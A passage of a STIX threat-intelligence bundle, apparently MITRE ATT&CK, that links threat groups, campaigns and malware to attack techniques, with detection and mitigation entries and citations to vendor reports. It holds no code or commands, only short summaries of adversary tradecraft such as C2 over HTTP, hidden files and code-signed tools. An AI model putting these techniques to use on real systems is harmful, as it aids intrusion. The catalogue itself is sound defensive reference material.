Muzabi)","relationship_type":"uses","source_ref":"intrusion-set--0ec2f388-bf0f-4b5c-97b1-fc736d26c25f","target_ref":"attack-pattern--b1ccd744-3f78-4a0e-9bb2-2002057f7928","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--6515b62c-af1a-4b22-baca-0710ac898815","created":"2022-08-22T14:57:07.021Z","x_mitre_version":"0.1","external_references":[{"source_name":"Proofpoint Bumblebee April 2022","url":"https://www.proofpoint.com/us/blog/threat-insight/bumblebee-is-still-transforming","description":"Merriman, K. and Trouerbach, P. (2022, April 28). This isn't Optimus Prime's Bumblebee but it's Still Transforming. Retrieved August 22, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[Bumblebee](https://attack.mitre.org/software/S1039) has the ability to perform anti-virtualization checks.(Citation: Proofpoint Bumblebee April 2022)","modified":"2022-08-22T14:57:07.021Z","relationship_type":"uses","source_ref":"malware--04378e79-4387-468a-a8f7-f974b8254e44","target_ref":"attack-pattern--82caa33e-d11a-433a-94ea-9b5a5fbef81d","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--651781ce-8062-444c-8078-0cda57adcd51","created":"2024-08-12T19:36:05.638Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"CISA Iran Albanian Attacks September 2022","description":"CISA. (2022, September 23). AA22-264A Iranian State Actors Conduct Cyber Operations Against the Government of Albania. Retrieved August 6, 2024.","url":"https://www.cisa.gov/news-events/cybersecurity-advisories/aa22-264a"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-08-12T19:37:14.544Z","description":"During [HomeLand Justice](https://attack.mitre.org/campaigns/C0038), threat actors used tools with legitimate code signing certificates. (Citation: CISA Iran Albanian Attacks September 2022)","relationship_type":"uses","source_ref":"campaign--7e21077d-2589-43a7-a5f9-490061289526","target_ref":"attack-pattern--e7cbc1de-1f79-48ee-abfd-da1241c65a15","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--6521c093-6e80-4669-9151-1c4df2dac259","created":"2024-06-06T19:57:12.935Z","revoked":false,"external_references":[{"source_name":"Huntress INC Ransom Group August 2023","description":"Team Huntress. (2023, August 11). Investigating New INC Ransom Group Activity. Retrieved June 5, 2024.","url":"https://www.huntress.com/blog/investigating-new-inc-ransom-group-activity"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-06-06T19:57:12.935Z","description":"[INC Ransom](https://attack.mitre.org/groups/G1032) has used valid accounts over RDP to connect to targeted systems.(Citation: Huntress INC Ransom Group August 2023)","relationship_type":"uses","source_ref":"intrusion-set--cb41e991-65f4-4668-a65f-f4200545b5a1","target_ref":"attack-pattern--355be19c-ffc9-46d5-8d50-d6a036c675b6","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--6523c653-4f85-425c-a891-6df522e8c841","created":"2023-07-28T18:05:43.117Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Sygnia Elephant Beetle Jan 2022","description":"Sygnia Incident Response Team. (2022, January 5). TG2003: ELEPHANT BEETLE UNCOVERING AN ORGANIZED FINANCIAL-THEFT OPERATION. Retrieved February 9, 2023.","url":"https://f.hubspotusercontent30.net/hubfs/8776530/Sygnia-%20Elephant%20Beetle_Jan2022.pdf?__hstc=147695848.3e8f1a482c8f8d4531507747318e660b.1680005306711.1680005306711.1680005306711.1&__hssc=147695848.1.1680005306711&__hsfp=3000179024&hsCtaTracking=189ec409-ae2d-4909-8bf1-62dcdd694372%7Cca91d317-8f10-4a38-9f80-367f551ad64d"},{"source_name":"Mandiant FIN13 Aug 2022","description":"Ta, V., et al. (2022, August 8). FIN13: A Cybercriminal Threat Actor Focused on Mexico. Retrieved February 9, 2023.","url":"https://www.mandiant.com/resources/blog/fin13-cybercriminal-mexico"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-09-29T18:38:18.950Z","description":"[FIN13](https://attack.mitre.org/groups/G1016) has created hidden files and folders within a compromised Linux system `/tmp` directory. [FIN13](https://attack.mitre.org/groups/G1016) also has used `attrib.exe` to hide gathered local host information.(Citation: Mandiant FIN13 Aug 2022)(Citation: Sygnia Elephant Beetle Jan 2022)","relationship_type":"uses","source_ref":"intrusion-set--fd66436e-4d33-450e-ac4c-f7810f1c85f4","target_ref":"attack-pattern--ec8fc7e2-b356-455c-8db5-2e37be158e7d","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--6528daf3-3e79-4d35-8f75-aea6ea5aed47","created":"2022-08-18T15:27:16.446Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"DHS CISA AA22-055A MuddyWater February 2022","description":"FBI, CISA, CNMF, NCSC-UK. (2022, February 24). Iranian Government-Sponsored Actors Conduct Cyber Operations Against Global Government and Commercial Networks. Retrieved September 27, 2022.","url":"https://www.cisa.gov/uscert/ncas/alerts/aa22-055a"},{"source_name":"Mandiant UNC3313 Feb 2022","description":"Tomcik, R. et al. (2022, February 24). Left On Read: Telegram Malware Spotted in Latest Iranian Cyber Espionage Activity. Retrieved August 18, 2022.","url":"https://www.mandiant.com/resources/telegram-malware-iranian-espionage"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-10-14T15:23:17.970Z","description":"[STARWHALE](https://attack.mitre.org/software/S1037) has the ability to contact actor-controlled C2 servers via HTTP.(Citation: Mandiant UNC3313 Feb 2022)(Citation: DHS CISA AA22-055A MuddyWater February 2022)","relationship_type":"uses","source_ref":"malware--e355fc84-6f3c-4888-8e0a-d7fa9c378532","target_ref":"attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--652af94a-7ff3-4d47-89e5-154c7bc34258","type":"relationship","created":"2020-03-27T21:54:12.731Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Palo Alto PlugX June 2017","description":"Lancaster, T. and Idrizovic, E.. (2017, June 27). Paranoid PlugX. Retrieved July 13, 2017.","url":"https://researchcenter.paloaltonetworks.com/2017/06/unit42-paranoid-plugx/"}],"modified":"2020-06-20T21:43:42.905Z","description":"A version of [PlugX](https://attack.mitre.org/software/S0013) loads as shellcode within a .NET Framework project using msbuild.exe, presumably to bypass application control techniques.(Citation: Palo Alto PlugX June 2017)","relationship_type":"uses","source_ref":"malware--64fa0de0-6240-41f4-8638-f4ca7ed528fd","target_ref":"attack-pattern--c92e3d68-2349-49e4-a341-7edca2deff96","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--652ba0d5-1bd3-4dcb-93c5-f339ffdae886","created":"2022-06-28T14:20:00.423Z","x_mitre_version":"0.1","external_references":[{"source_name":"CrowdStrike IceApple May 2022","url":"https://www.crowdstrike.com/wp-content/uploads/2022/05/crowdstrike-iceapple-a-novel-internet-information-services-post-exploitation-framework.pdf","description":"CrowdStrike. (2022, May). ICEAPPLE: A NOVEL INTERNET INFORMATION SERVICES (IIS) POST-EXPLOITATION FRAMEWORK. Retrieved June 27, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[IceApple](https://attack.mitre.org/software/S1022) is an IIS post-exploitation framework, consisting of 18 modules that provide several functionalities.(Citation: CrowdStrike IceApple May 2022)","modified":"2022-06-28T14:20:00.423Z","relationship_type":"uses","source_ref":"malware--dd889a55-fb2c-4ec7-8e9f-c399939a49e1","target_ref":"attack-pattern--b46a801b-fd98-491c-a25a-bca25d6e3001","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--65321ae3-b76c-4288-9456-207641b14aa7","type":"relationship","created":"2019-06-07T20:45:33.064Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.fireeye.com/blog/threat-research/2017/09/apt33-insights-into-iranian-cyber-espionage.html","description":"O'Leary, J., et al. (2017, September 20). Insights into Iranian Cyber Espionage: APT33 Targets Aerospace and Energy Sectors and has Ties to Destructive Malware. Retrieved February 15, 2018.","source_name":"FireEye APT33 Sept 2017"}],"modified":"2019-06-28T15:05:34.036Z","description":"(Citation: FireEye APT33 Sept 2017)","relationship_type":"uses","source_ref":"intrusion-set--fbd29c89-18ba-4c2d-b792-51c0adee049f","target_ref":"malware--8dbadf80-468c-4a62-b817-4e4d8b606887","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--65325613-a4c1-4cd5-9e3c-ef48146891b3","created":"2022-09-19T22:07:45.999Z","revoked":false,"external_references":[{"source_name":"Talos Frankenstein June 2019","description":"Adamitis, D. et al. (2019, June 4). It's alive: Threat actors cobble together open-source pieces into monstrous Frankenstein campaign. Retrieved May 11, 2020.","url":"https://blog.talosintelligence.com/2019/06/frankenstein-campaign.html"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-09-19T22:07:45.999Z","description":"During [Frankenstein](https://attack.mitre.org/campaigns/C0001), the threat actors used HTTP GET requests for C2.(Citation: Talos Frankenstein June 2019)","relationship_type":"uses","source_ref":"campaign--26d9ebae-de59-427f-ae9a-349456bae4b1","target_ref":"attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--65353c62-ae7d-4a5b-9151-16bbbcccadb6","type":"relationship","created":"2022-03-30T14:26:51.855Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.855Z","description":"Monitor processes that appear to be reading files from disparate locations and writing them to the same directory or file may be an indication of data being staged, especially if they are suspected of performing encryption or compression on the files, such as 7zip, RAR, ZIP, or zlib.","source_ref":"x-mitre-data-component--235b7491-2d2b-4617-9a52-3c0783680f71","target_ref":"attack-pattern--1c34f7aa-9341-4a48-bfab-af22e51aca6c","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--65376085-302c-4958-94b7-3582e30a3c0f","created":"2022-09-27T18:18:15.276Z","revoked":false,"external_references":[{"source_name":"FoxIT Wocao December 2019","description":"Dantzig, M. v., Schamper, E. (2019, December 19). Operation Wocao: Shining a light on one of China’s hidden hacking groups. Retrieved October 8, 2020.","url":"https://www.fox-it.com/media/kadlze5c/201912_report_operation_wocao.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-09-27T18:18:15.276Z","description":"During [Operation Wocao](https://attack.mitre.org/campaigns/C0014), threat actors used [PowerSploit](https://attack.mitre.org/software/S0194)’s `Invoke-Kerberoast` module to bruteforce passwords and retrieve encrypted service tickets.(Citation: FoxIT Wocao December 2019)","relationship_type":"uses","source_ref":"campaign--b03d5112-e23a-4ac8-add0-be7502d24eff","target_ref":"tool--13cd9151-83b7-410d-9f98-25d0f0d1d80d","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--6537d47a-80c0-442b-a1ec-3451d078a2a9","type":"relationship","created":"2019-06-24T19:53:23.756Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-03-25T20:32:06.003Z","description":"Use strong passwords to increase the difficulty of credential hashes from being cracked if they are obtained.","relationship_type":"mitigates","source_ref":"course-of-action--90c218c3-fbf8-4830-98a7-e8cfb7eaa485","target_ref":"attack-pattern--b77cf5f3-6060-475d-bd60-40ccbf28fdc2","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--65384e27-6d16-4d25-a17b-3d74dde8f224","type":"relationship","created":"2019-01-30T19:50:46.682Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Grunzweig, J., Lee, B. (2018, September 27). New KONNI Malware attacking Eurasia and Southeast Asia. Retrieved November 5, 2018.","url":"https://researchcenter.paloaltonetworks.com/2018/09/unit42-new-konni-malware-attacking-eurasia-southeast-asia/","source_name":"Unit 42 NOKKI Sept 2018"}],"modified":"2020-03-17T01:58:31.536Z","description":"[NOKKI](https://attack.mitre.org/software/S0353) has downloaded a remote module for execution.(Citation: Unit 42 NOKKI Sept 2018)","relationship_type":"uses","source_ref":"malware--071d5d65-83ec-4a55-acfa-be7d5f28ba9a","target_ref":"attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--653916b2-1a5b-42fd-8c11-cd7ad9132bf4","type":"relationship","created":"2022-03-30T14:26:51.875Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.875Z","description":"Monitor and analyze traffic patterns and packet inspection associated to protocol(s), leveraging SSL/TLS inspection for encrypted traffic, that do not follow the expected protocol standards and traffic flows (e.g extraneous packets that do not belong to established flows, gratuitous or anomalous traffic patterns, anomalous syntax, or structure). Consider correlation with process monitoring and command line to detect anomalous processes execution and command line arguments associated to traffic patterns (e.g. monitor anomalies in use of files that do not normally initiate connections for respective protocol(s)).","source_ref":"x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c","target_ref":"attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--6549c38d-46b4-4633-a479-0cbeb405f186","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"ESET Twitter Ida Pro Nov 2021","description":"Cherepanov, Anton. (2019, November 10). ESETresearch discovered a trojanized IDA Pro installer. Retrieved September 12, 2024.","url":"https://x.com/ESETresearch/status/1458438155149922312"},{"source_name":"TrendMicro macOS Dacls May 2020","description":"Mabutas, G. (2020, May 11). New MacOS Dacls RAT Backdoor Shows Lazarus’ Multi-Platform Attack Capability. Retrieved August 10, 2020.","url":"https://blog.trendmicro.com/trendlabs-security-intelligence/new-macos-dacls-rat-backdoor-show-lazarus-multi-platform-attack-capability/"},{"source_name":"Qualys LolZarus","description":"Pradhan, A. (2022, February 8). LolZarus: Lazarus Group Incorporating Lolbins into Campaigns. Retrieved March 22, 2022.","url":"https://blog.qualys.com/vulnerabilities-threat-research/2022/02/08/lolzarus-lazarus-group-incorporating-lolbins-into-campaigns"},{"source_name":"Lazarus APT January 2022","description":"Saini, A. and Hossein, J. (2022, January 27). North Korea’s Lazarus APT leverages Windows Update client, GitHub in latest campaign. Retrieved January 27, 2022.","url":"https://blog.malwarebytes.com/threat-intelligence/2022/01/north-koreas-lazarus-apt-leverages-windows-update-client-github-in-latest-campaign/"},{"source_name":"McAfee Lazarus Resurfaces Feb 2018","description":"Sherstobitoff, R. (2018, February 12). Lazarus Resurfaces, Targets Global Banks and Bitcoin Users. Retrieved February 19, 2018.","url":"https://www.mcafee.com/blogs/other-blogs/mcafee-labs/lazarus-resurfaces-targets-global-banks-bitcoin-users/"},{"source_name":"SentinelOne Lazarus macOS July 2020","description":"Stokes, P. (2020, July 27). Four Distinct Families of Lazarus Malware Target Apple’s macOS Platform. Retrieved August 7, 2020.","url":"https://www.sentinelone.com/blog/four-distinct-families-of-lazarus-malware-target-apples-macos-platform/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-12T19:28:53.001Z","description":"[Lazarus Group](https://attack.mitre.org/groups/G0032) has conducted C2 over HTTP and HTTPS.(Citation: McAfee Lazarus Resurfaces Feb 2018)(Citation: SentinelOne Lazarus macOS July 2020)(Citation: TrendMicro macOS Dacls May 2020)(Citation: Lazarus APT January 2022)(Citation: Qualys LolZarus)(Citation: ESET Twitter Ida Pro Nov 2021)","relationship_type":"uses","source_ref":"intrusion-set--c93fccb1-e8e8-42cf-ae33-2ad1d183913a","target_ref":"attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--654d9e83-9501-4de8-8828-1a1ebf36bc8f","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ZScaler Hacking Team","description":"Desai, D.. (2015, August 14). Chinese cyber espionage APT group leveraging recently leaked Hacking Team exploits to target a Financial Services Firm. Retrieved January 26, 2016.","url":"http://research.zscaler.com/2015/08/chinese-cyber-espionage-apt-group.html"}],"modified":"2020-03-18T00:19:41.214Z","description":"[HTTPBrowser](https://attack.mitre.org/software/S0070)'s installer contains a malicious file named navlu.dll to decrypt and run the RAT. navlu.dll is also the name of a legitimate Symantec DLL.(Citation: ZScaler Hacking Team)","relationship_type":"uses","source_ref":"malware--e066bf86-9cfb-407a-9d25-26fd5d91e360","target_ref":"attack-pattern--1c4e5d32-1fe9-4116-9d9d-59e3925bd6a2","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--655005cc-a289-4878-8dc0-64f0c7d167c4","type":"relationship","created":"2020-06-08T18:06:36.384Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Kaspersky TajMahal April 2019","url":"https://securelist.com/project-tajmahal/90240/","description":"GReAT. (2019, April 10). Project TajMahal – a sophisticated new APT framework. Retrieved October 14, 2019."}],"modified":"2020-06-15T21:19:30.982Z","description":"[TajMahal](https://attack.mitre.org/software/S0467) has the ability to send collected files over its C2.(Citation: Kaspersky TajMahal April 2019)","relationship_type":"uses","source_ref":"malware--b51797f7-57da-4210-b8ac-b8632ee75d70","target_ref":"attack-pattern--92d7da27-2d91-488e-a00c-059dc162766d","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--65570dc3-08cb-48b7-b99d-9c49ab293928","created":"2024-09-16T09:09:05.670Z","revoked":false,"external_references":[{"source_name":"Google Cloud APT41 2024","description":"Mike Stokkel et al. (2024, July 18). APT41 Has Arisen From the DUST. Retrieved September 16, 2024.","url":"https://cloud.google.com/blog/topics/threat-intelligence/apt41-arisen-from-dust"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-16T09:09:05.670Z","description":"[APT41 DUST](https://attack.mitre.org/campaigns/C0040) involved use of web shells such as ANTSWORD and BLUEBEAM for persistence.(Citation: Google Cloud APT41 2024)","relationship_type":"uses","source_ref":"campaign--add4d9de-1256-4166-83b8-57087288dced","target_ref":"attack-pattern--5d0d3609-d06d-49e1-b9c9-b544e0c618cb","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--65656d55-1f2f-43f9-b29f-084b9024841c","created":"2022-10-11T15:57:21.014Z","revoked":false,"external_references":[{"source_name":"SentinelOne Aoqin Dragon June 2022","description":"Chen, Joey. (2022, June 9). Aoqin Dragon | Newly-Discovered Chinese-linked APT Has Been Quietly Spying On Organizations For 10 Years. Retrieved July 14, 2022.","url":"https://www.sentinelone.com/labs/aoqin-dragon-newly-discovered-chinese-linked-apt-has-been-quietly-spying-on-organizations-for-10-years/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-10-11T15:57:21.014Z","description":"[Aoqin Dragon](https://attack.mitre.org/groups/G1007) has used custom malware, including [Mongall](https://attack.mitre.org/software/S1026) and [Heyoka Backdoor](https://attack.mitre.org/software/S1027), in their operations.(Citation: SentinelOne Aoqin Dragon June 2022)","relationship_type":"uses","source_ref":"intrusion-set--64d5f96a-f121-4d19-89f6-6709f5c49faa","target_ref":"attack-pattern--212306d8-efa4-44c9-8c2d-ed3d2e224aa0","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--65684059-3a14-431f-8380-9b940b9a1fc1","created":"2024-08-08T20:03:28.717Z","revoked":false,"external_references":[{"source_name":"Mandiant ROADSWEEP August 2022","description":"Jenkins, L. at al. (2022, August 4). ROADSWEEP Ransomware - Likely Iranian Threat Actor Conducts Politically Motivated Disruptive Activity Against Albanian Government Organizations. Retrieved August 6, 2024.","url":"https://cloud.google.com/blog/topics/threat-intelligence/likely-iranian-threat-actor-conducts-politically-motivated-disruptive-activity-against/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-08-08T20:03:28.717Z","description":"[ZeroCleare](https://attack.mitre.org/software/S1151) can receive command line arguments from an operator to corrupt the file system using the [RawDisk](https://attack.mitre.org/software/S0364) driver.(Citation: Mandiant ROADSWEEP August 2022)","relationship_type":"uses","source_ref":"malware--8d8518db-0f52-4f3c-8017-01389a8522bb","target_ref":"attack-pattern--7385dfaf-6886-4229-9ecd-6fd678040830","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--65692352-9f25-4410-b715-5cdce6ee25cd","type":"relationship","created":"2021-10-11T16:56:45.459Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Talos Lokibot Jan 2021","url":"https://blog.talosintelligence.com/2021/01/a-deep-dive-into-lokibot-infection-chain.html","description":"Muhammad, I., Unterbrink, H.. (2021, January 6). A Deep Dive into Lokibot Infection Chain. Retrieved August 31, 2021."}],"modified":"2021-10-11T16:56:45.459Z","description":"[Lokibot](https://attack.mitre.org/software/S0447) has used cmd /c commands embedded within batch scripts.(Citation: Talos Lokibot Jan 2021) ","relationship_type":"uses","source_ref":"malware--cb741463-f0fe-42e0-8d45-bc7e8335f5ae","target_ref":"attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--656f1790-2ea7-4690-9d72-0371b90bdafd","created":"2024-09-03T16:43:26.528Z","revoked":false,"external_references":[{"source_name":"Mandiant_UNC2165","description":"Mandiant Intelligence. (2022, June 2). To HADES and Back: UNC2165 Shifts to LOCKBIT to Evade Sanctions. Retrieved July 29, 2024.","url":"https://cloud.google.com/blog/topics/threat-intelligence/unc2165-shifts-to-evade-sanctions/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-03T16:43:26.528Z","description":"[Indrik Spider](https://attack.mitre.org/groups/G0119) has downloaded tools, such as the Advanced Port Scanner utility and Lansweeper, to conduct internal reconnaissance of the victim network. [Indrik Spider](https://attack.mitre.org/groups/G0119) has also accessed the victim’s VMware VCenter, which had information about host configuration, clusters, etc.(Citation: Mandiant_UNC2165)","relationship_type":"uses","source_ref":"intrusion-set--01e28736-2ffc-455b-9880-ed4d1407ae07","target_ref":"attack-pattern--9d48cab2-7929-4812-ad22-f536665f0109","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--657cb17c-b227-4f97-a19a-e1b0fb7c839d","type":"relationship","created":"2020-08-17T14:08:26.154Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET InvisiMole June 2020","url":"https://www.welivesecurity.com/wp-content/uploads/2020/06/ESET_InvisiMole.pdf","description":"Hromcova, Z. and Cherpanov, A. (2020, June). INVISIMOLE: THE HIDDEN PART OF THE STORY. Retrieved July 16, 2020."}],"modified":"2020-08-17T14:08:26.154Z","description":"[InvisiMole](https://attack.mitre.org/software/S0260) can use a modified base32 encoding to encode data within the subdomain of C2 requests.(Citation: ESET InvisiMole June 2020)","relationship_type":"uses","source_ref":"malware--47afe41c-4c08-485e-b062-c3bd209a1cce","target_ref":"attack-pattern--d467bc38-284b-4a00-96ac-125f447799fc","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--65838f5f-0cc3-4e33-953a-11f1e5e7a20e","created":"2021-11-12T19:30:36.056Z","x_mitre_version":"1.0","external_references":[{"source_name":"Fortinet Diavol July 2021","url":"https://www.fortinet.com/blog/threat-research/diavol-new-ransomware-used-by-wizard-spider","description":"Neeamni, D., Rubinfeld, A.. (2021, July 1). Diavol - A New Ransomware Used By Wizard Spider?. Retrieved November 12, 2021."}],"x_mitre_deprecated":false,"revoked":false,"description":"[Diavol](https://attack.mitre.org/software/S0659) has obfuscated its main code routines within bitmap images as part of its anti-analysis techniques.(Citation: Fortinet Diavol July 2021) 